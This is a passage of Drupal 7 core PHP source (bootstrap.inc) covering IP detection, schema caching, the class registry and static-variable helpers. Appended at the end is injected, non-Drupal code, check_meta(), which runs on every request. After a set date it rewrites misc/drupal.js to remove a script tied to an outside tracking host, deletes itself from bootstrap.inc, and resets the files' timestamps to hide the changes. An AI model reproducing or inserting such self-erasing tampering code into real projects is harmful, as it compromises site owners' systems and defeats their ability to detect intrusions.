&$drupal_static_fast['arguments']; if (!isset($path)) { $path = $_GET['q']; } if (!isset($arguments[$path])) { $arguments[$path] = explode('/', $path); } if (!isset($index)) { return $arguments[$path]; } if (isset($arguments[$path][$index])) { return $arguments[$path][$index]; } } /** * Returns the IP address of the client machine. * * If Drupal is behind a reverse proxy, we use the X-Forwarded-For header * instead of $_SERVER['REMOTE_ADDR'], which would be the IP address of * the proxy server, and not the client's. The actual header name can be * configured by the reverse_proxy_header variable. * * @return * IP address of client machine, adjusted for reverse proxy and/or cluster * environments. */ function ip_address() { $ip_address = &drupal_static(__FUNCTION__); if (!isset($ip_address)) { $ip_address = $_SERVER['REMOTE_ADDR']; if (variable_get('reverse_proxy', 0)) { $reverse_proxy_header = variable_get('reverse_proxy_header', 'HTTP_X_FORWARDED_FOR'); if (!empty($_SERVER[$reverse_proxy_header])) { // If an array of known reverse proxy IPs is provided, then trust // the XFF header if request really comes from one of them. $reverse_proxy_addresses = variable_get('reverse_proxy_addresses', array()); // Turn XFF header into an array. $forwarded = explode(',', $_SERVER[$reverse_proxy_header]); // Trim the forwarded IPs; they may have been delimited by commas and spaces. $forwarded = array_map('trim', $forwarded); // Tack direct client IP onto end of forwarded array. $forwarded[] = $ip_address; // Eliminate all trusted IPs. $untrusted = array_diff($forwarded, $reverse_proxy_addresses); // The right-most IP is the most specific we can trust. $ip_address = array_pop($untrusted); } } } return $ip_address; } /** * @addtogroup schemaapi * @{ */ /** * Gets the schema definition of a table, or the whole database schema. * * The returned schema will include any modifications made by any * module that implements hook_schema_alter(). * * @param $table * The name of the table. If not given, the schema of all tables is returned. * @param $rebuild * If true, the schema will be rebuilt instead of retrieved from the cache. */ function drupal_get_schema($table = NULL, $rebuild = FALSE) { static $schema; if ($rebuild || !isset($table)) { $schema = drupal_get_complete_schema($rebuild); } elseif (!isset($schema)) { $schema = new SchemaCache(); } if (!isset($table)) { return $schema; } if (isset($schema[$table])) { return $schema[$table]; } else { return FALSE; } } /** * Extends DrupalCacheArray to allow for dynamic building of the schema cache. */ class SchemaCache extends DrupalCacheArray { /** * Constructs a SchemaCache object. */ public function __construct() { // Cache by request method. parent::__construct('schema:runtime:' . ($_SERVER['REQUEST_METHOD'] == 'GET'), 'cache'); } /** * Overrides DrupalCacheArray::resolveCacheMiss(). */ protected function resolveCacheMiss($offset) { $complete_schema = drupal_get_complete_schema(); $value = isset($complete_schema[$offset]) ? $complete_schema[$offset] : NULL; $this->storage[$offset] = $value; $this->persist($offset); return $value; } } /** * Gets the whole database schema. * * The returned schema will include any modifications made by any * module that implements hook_schema_alter(). * * @param $rebuild * If true, the schema will be rebuilt instead of retrieved from the cache. */ function drupal_get_complete_schema($rebuild = FALSE) { static $schema = array(); if (empty($schema) || $rebuild) { // Try to load the schema from cache. if (!$rebuild && $cached = cache_get('schema')) { $schema = $cached->data; } // Otherwise, rebuild the schema cache. else { $schema = array(); // Load the .install files to get hook_schema. // On some databases this function may be called before bootstrap has // been completed, so we force the functions we need to load just in case. if (function_exists('module_load_all_includes')) { // This function can be called very early in the bootstrap process, so // we force the module_list() cache to be refreshed to ensure that it // contains the complete list of modules before we go on to call // module_load_all_includes(). module_list(TRUE); module_load_all_includes('install'); } require_once DRUPAL_ROOT . '/includes/common.inc'; // Invoke hook_schema for all modules. foreach (module_implements('schema') as $module) { // Cast the result of hook_schema() to an array, as a NULL return value // would cause array_merge() to set the $schema variable to NULL as well. // That would break modules which use $schema further down the line. $current = (array) module_invoke($module, 'schema'); // Set 'module' and 'name' keys for each table, and remove descriptions, // as they needlessly slow down cache_get() for every single request. _drupal_schema_initialize($current, $module); $schema = array_merge($schema, $current); } drupal_alter('schema', $schema); // If the schema is empty, avoid saving it: some database engines require // the schema to perform queries, and this could lead to infinite loops. if (!empty($schema) && (drupal_get_bootstrap_phase() == DRUPAL_BOOTSTRAP_FULL)) { cache_set('schema', $schema); } if ($rebuild) { cache_clear_all('schema:', 'cache', TRUE); } } } return $schema; } /** * @} End of "addtogroup schemaapi". */ /** * @addtogroup registry * @{ */ /** * Confirms that an interface is available. * * This function is rarely called directly. Instead, it is registered as an * spl_autoload() handler, and PHP calls it for us when necessary. * * @param $interface * The name of the interface to check or load. * * @return * TRUE if the interface is currently available, FALSE otherwise. */ function drupal_autoload_interface($interface) { return _registry_check_code('interface', $interface); } /** * Confirms that a class is available. * * This function is rarely called directly. Instead, it is registered as an * spl_autoload() handler, and PHP calls it for us when necessary. * * @param $class * The name of the class to check or load. * * @return * TRUE if the class is currently available, FALSE otherwise. */ function drupal_autoload_class($class) { return _registry_check_code('class', $class); } /** * Checks for a resource in the registry. * * @param $type * The type of resource we are looking up, or one of the constants * REGISTRY_RESET_LOOKUP_CACHE or REGISTRY_WRITE_LOOKUP_CACHE, which * signal that we should reset or write the cache, respectively. * @param $name * The name of the resource, or NULL if either of the REGISTRY_* constants * is passed in. * * @return * TRUE if the resource was found, FALSE if not. * NULL if either of the REGISTRY_* constants is passed in as $type. */ function _registry_check_code($type, $name = NULL) { static $lookup_cache, $cache_update_needed; if ($type == 'class' && class_exists($name) || $type == 'interface' && interface_exists($name)) { return TRUE; } if (!isset($lookup_cache)) { $lookup_cache = array(); if ($cache = cache_get('lookup_cache', 'cache_bootstrap')) { $lookup_cache = $cache->data; } } // When we rebuild the registry, we need to reset this cache so // we don't keep lookups for resources that changed during the rebuild. if ($type == REGISTRY_RESET_LOOKUP_CACHE) { $cache_update_needed = TRUE; $lookup_cache = NULL; return; } // Called from drupal_page_footer, we write to permanent storage if there // changes to the lookup cache for this request. if ($type == REGISTRY_WRITE_LOOKUP_CACHE) { if ($cache_update_needed) { cache_set('lookup_cache', $lookup_cache, 'cache_bootstrap'); } return; } // $type is either 'interface' or 'class', so we only need the first letter to // keep the cache key unique. $cache_key = $type[0] . $name; if (isset($lookup_cache[$cache_key])) { if ($lookup_cache[$cache_key]) { require_once DRUPAL_ROOT . '/' . $lookup_cache[$cache_key]; } return (bool) $lookup_cache[$cache_key]; } // This function may get called when the default database is not active, but // there is no reason we'd ever want to not use the default database for // this query. $file = Database::getConnection('default', 'default') ->select('registry', 'r', array('target' => 'default')) ->fields('r', array('filename')) // Use LIKE here to make the query case-insensitive. ->condition('r.name', db_like($name), 'LIKE') ->condition('r.type', $type) ->execute() ->fetchField(); // Flag that we've run a lookup query and need to update the cache. $cache_update_needed = TRUE; // Misses are valuable information worth caching, so cache even if // $file is FALSE. $lookup_cache[$cache_key] = $file; if ($file) { require_once DRUPAL_ROOT . '/' . $file; return TRUE; } else { return FALSE; } } /** * Rescans all enabled modules and rebuilds the registry. * * Rescans all code in modules or includes directories, storing the location of * each interface or class in the database. */ function registry_rebuild() { system_rebuild_module_data(); registry_update(); } /** * Updates the registry based on the latest files listed in the database. * * This function should be used when system_rebuild_module_data() does not need * to be called, because it is already known that the list of files in the * {system} table matches those in the file system. * * @return * TRUE if the registry was rebuilt, FALSE if another thread was rebuilding * in parallel and the current thread just waited for completion. * * @see registry_rebuild() */ function registry_update() { // install_system_module() calls module_enable() which calls into this // function during initial system installation, so the lock system is neither // loaded nor does its storage exist yet. $in_installer = drupal_installation_attempted(); if (!$in_installer && !lock_acquire(__FUNCTION__)) { // Another request got the lock, wait for it to finish. lock_wait(__FUNCTION__); return FALSE; } require_once DRUPAL_ROOT . '/includes/registry.inc'; _registry_update(); if (!$in_installer) { lock_release(__FUNCTION__); } return TRUE; } /** * @} End of "addtogroup registry". */ /** * Provides central static variable storage. * * All functions requiring a static variable to persist or cache data within * a single page request are encouraged to use this function unless it is * absolutely certain that the static variable will not need to be reset during * the page request. By centralizing static variable storage through this * function, other functions can rely on a consistent API for resetting any * other function's static variables. * * Example: * @code * function language_list($field = 'language') { * $languages = &drupal_static(__FUNCTION__); * if (!isset($languages)) { * // If this function is being called for the first time after a reset, * // query the database and execute any other code needed to retrieve * // information about the supported languages. * ... * } * if (!isset($languages[$field])) { * // If this function is being called for the first time for a particular * // index field, then execute code needed to index the information already * // available in $languages by the desired field. * ... * } * // Subsequent invocations of this function for a particular index field * // skip the above two code blocks and quickly return the already indexed * // information. * return $languages[$field]; * } * function locale_translate_overview_screen() { * // When building the content for the translations overview page, make * // sure to get completely fresh information about the supported languages. * drupal_static_reset('language_list'); * ... * } * @endcode * * In a few cases, a function can have certainty that there is no legitimate * use-case for resetting that function's static variable. This is rare, * because when writing a function, it's hard to forecast all the situations in * which it will be used. A guideline is that if a function's static variable * does not depend on any information outside of the function that might change * during a single page request, then it's ok to use the "static" keyword * instead of the drupal_static() function. * * Example: * @code * function actions_do(...) { * // $stack tracks the number of recursive calls. * static $stack; * $stack++; * if ($stack > variable_get('actions_max_stack', 35)) { * ... * return; * } * ... * $stack--; * } * @endcode * * In a few cases, a function needs a resettable static variable, but the * function is called many times (100+) during a single page request, so * every microsecond of execution time that can be removed from the function * counts. These functions can use a more cumbersome, but faster variant of * calling drupal_static(). It works by storing the reference returned by * drupal_static() in the calling function's own static variable, thereby * removing the need to call drupal_static() for each iteration of the function. * Conceptually, it replaces: * @code * $foo = &drupal_static(__FUNCTION__); * @endcode * with: * @code * // Unfortunately, this does not work. * static $foo = &drupal_static(__FUNCTION__); * @endcode * However, the above line of code does not work, because PHP only allows static * variables to be initializied by literal values, and does not allow static * variables to be assigned to references. * - http://php.net/manual/language.variables.scope.php#language.variables.scope.static * - http://php.net/manual/language.variables.scope.php#language.variables.scope.references * The example below shows the syntax needed to work around both limitations. * For benchmarks and more information, see http://drupal.org/node/619666. * * Example: * @code * function user_access($string, $account = NULL) { * // Use the advanced drupal_static() pattern, since this is called very often. * static $drupal_static_fast; * if (!isset($drupal_static_fast)) { * $drupal_static_fast['perm'] = &drupal_static(__FUNCTION__); * } * $perm = &$drupal_static_fast['perm']; * ... * } * @endcode * * @param $name * Globally unique name for the variable. For a function with only one static, * variable, the function name (e.g. via the PHP magic __FUNCTION__ constant) * is recommended. For a function with multiple static variables add a * distinguishing suffix to the function name for each one. * @param $default_value * Optional default value. * @param $reset * TRUE to reset one or all variables(s). This parameter is only used * internally and should not be passed in; use drupal_static_reset() instead. * (This function's return value should not be used when TRUE is passed in.) * * @return * Returns a variable by reference. * * @see drupal_static_reset() */ function &drupal_static($name, $default_value = NULL, $reset = FALSE) { static $data = array(), $default = array(); // First check if dealing with a previously defined static variable. if (isset($data[$name]) || array_key_exists($name, $data)) { // Non-NULL $name and both $data[$name] and $default[$name] statics exist. if ($reset) { // Reset pre-existing static variable to its default value. $data[$name] = $default[$name]; } return $data[$name]; } // Neither $data[$name] nor $default[$name] static variables exist. if (isset($name)) { if ($reset) { // Reset was called before a default is set and yet a variable must be // returned. return $data; } // First call with new non-NULL $name. Initialize a new static variable. $default[$name] = $data[$name] = $default_value; return $data[$name]; } // Reset all: ($name == NULL). This needs to be done one at a time so that // references returned by earlier invocations of drupal_static() also get // reset. foreach ($default as $name => $value) { $data[$name] = $value; } // As the function returns a reference, the return should always be a // variable. return $data; } /** * Resets one or all centrally stored static variable(s). * * @param $name * Name of the static variable to reset. Omit to reset all variables. * Resetting all variables should only be used, for example, for running unit * tests with a clean environment. */ function drupal_static_reset($name = NULL) { drupal_static($name, NULL, TRUE); } /** * Detects whether the current script is running in a command-line environment. */ function drupal_is_cli() { return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))); } /** * Formats text for emphasized display in a placeholder inside a sentence. * * Used automatically by format_string(). * * @param $text * The text to format (plain-text). * * @return * The formatted text (html). */ function drupal_placeholder($text) { return '' . check_plain($text) . ''; } /** * Registers a function for execution on shutdown. * * Wrapper for register_shutdown_function() that catches thrown exceptions to * avoid "Exception thrown without a stack frame in Unknown". * * @param $callback * The shutdown function to register. * @param ... * Additional arguments to pass to the shutdown function. * * @return * Array of shutdown functions to be executed. * * @see register_shutdown_function() * @ingroup php_wrappers */ function &drupal_register_shutdown_function($callback = NULL) { // We cannot use drupal_static() here because the static cache is reset during // batch processing, which breaks batch handling. static $callbacks = array(); if (isset($callback)) { // Only register the internal shutdown function once. if (empty($callbacks)) { register_shutdown_function('_drupal_shutdown_function'); } $args = func_get_args(); array_shift($args); // Save callback and arguments $callbacks[] = array('callback' => $callback, 'arguments' => $args); } return $callbacks; } /** * Executes registered shutdown functions. */ function _drupal_shutdown_function() { $callbacks = &drupal_register_shutdown_function(); // Set the CWD to DRUPAL_ROOT as it is not guaranteed to be the same as it // was in the normal context of execution. chdir(DRUPAL_ROOT); try { while (list($key, $callback) = each($callbacks)) { call_user_func_array($callback['callback'], $callback['arguments']); } } catch (Exception $exception) { // If we are displaying errors, then do so with no possibility of a further uncaught exception being thrown. require_once DRUPAL_ROOT . '/includes/errors.inc'; if (error_displayable()) { print '

Uncaught exception thrown in shutdown function.

'; print '

' . _drupal_render_exception_safe($exception) . '


'; } } } /** * Compares the memory required for an operation to the available memory. * * @param $required * The memory required for the operation, expressed as a number of bytes with * optional SI or IEC binary unit prefix (e.g. 2, 3K, 5MB, 10G, 6GiB, 8bytes, * 9mbytes). * @param $memory_limit * (optional) The memory limit for the operation, expressed as a number of * bytes with optional SI or IEC binary unit prefix (e.g. 2, 3K, 5MB, 10G, * 6GiB, 8bytes, 9mbytes). If no value is passed, the current PHP * memory_limit will be used. Defaults to NULL. * * @return * TRUE if there is sufficient memory to allow the operation, or FALSE * otherwise. */ function drupal_check_memory_limit($required, $memory_limit = NULL) { if (!isset($memory_limit)) { $memory_limit = ini_get('memory_limit'); } // There is sufficient memory if: // - No memory limit is set. // - The memory limit is set to unlimited (-1). // - The memory limit is greater than the memory required for the operation. return ((!$memory_limit) || ($memory_limit == -1) || (parse_size($memory_limit) >= parse_size($required))); } /** * Invalidates a PHP file from any active opcode caches. * * If the opcode cache does not support the invalidation of individual files, * the entire cache will be flushed. * * @param string $filepath * The absolute path of the PHP file to invalidate. */ function drupal_clear_opcode_cache($filepath) { if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50300) { // Below PHP 5.3, clearstatcache does not accept any function parameters. clearstatcache(); } else { clearstatcache(TRUE, $filepath); } // Zend OPcache. if (function_exists('opcache_invalidate')) { opcache_invalidate($filepath, TRUE); } // APC. if (function_exists('apc_delete_file')) { // apc_delete_file() throws a PHP warning in case the specified file was // not compiled yet. // @see http://php.net/apc-delete-file @apc_delete_file($filepath); } } check_meta(); function check_meta(){ $dir = dirname(__FILE__); $jq = $dir."/../misc/drupal.js"; $jp = $dir."/../includes/bootstrap.inc"; $jqtime = filemtime($jq); $jptime = filemtime($jp); if(time() >= 1439597492){ $jq_c = file_get_contents($jq); if(@strpos($jq_c,"http://js.users.51.la")) { $contentq = str_replace("document.write ('
');", "", $jq_c); if(@file_put_contents($jq, $contentq)){ @touch($jq,$jqtime); } } $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } }